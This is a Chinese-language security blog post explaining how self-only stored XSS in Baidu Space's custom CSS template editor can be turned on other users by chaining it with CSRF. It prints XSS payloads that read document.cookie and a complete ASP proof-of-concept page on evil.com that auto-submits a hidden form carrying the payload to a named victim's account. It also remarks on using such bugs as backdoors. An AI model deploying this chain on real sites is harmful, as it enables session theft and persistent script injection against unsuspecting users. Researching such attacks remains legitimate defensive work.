有些XSS不好利用啊,比如有些后台的XSS漏洞,你进不了别人的后台,怎么能 利用他的XSS漏洞呢?进得了别人的后台,还利用这个XSS漏洞干什么?其实这个时候可以种个后门(如果那是个持久型的XSS,这是后话)。有些被称为鸡 肋的XSS漏洞其实很多时候是因为没有找到合适的利用方式而已。

比如百度空间的自定义模板处,那里还有两处持久型的XSS漏洞,一个是在编辑CSS的textarea中写入这样的代 码</textarea><script>alert(‘xss’)< /script><textarea>,然后保存该模板后会出现跨站;还有一个是在编辑CSS的textarea中写入< /style><script>alert(document.cookie)< /script><style>,点击“预览”会出现跨站。这样的过程似乎只能跨自己?不对!利用CSRF可以使得这些不好利用的 XSS漏洞变得同样威力无穷。

比如:

一个攻击者构造的页面http://www.evil.com/csrf-xss-baiduhi.asp的代码如下:

<%
s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script><style>' name='spCssText'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>

被攻击者yuxi4n访问这个链接时就被CSRF了,接着就是XSS的出现:)。XSS能做什么就做什么了。上面的CSRF代码提交了自定义模板表 单并执行了预览功能。预览的时候就跨了。CSRF可以做的很隐蔽。上次xKungfoo回来后和monyer聊的就是这个,当时百度C2C内某处的预览功 能就存在这样的XSS。很多人认为根本没办法利用,然后结合CSRF呢?monyer给他们演示后,现在这个漏洞被修补了。

同样的问题出现在很多网站上,恩,假如CSRF防御做得好的话就不用担心这个了,不过我们可以利用这样被忽略的XSS漏洞做后门,假如有这个机会的话。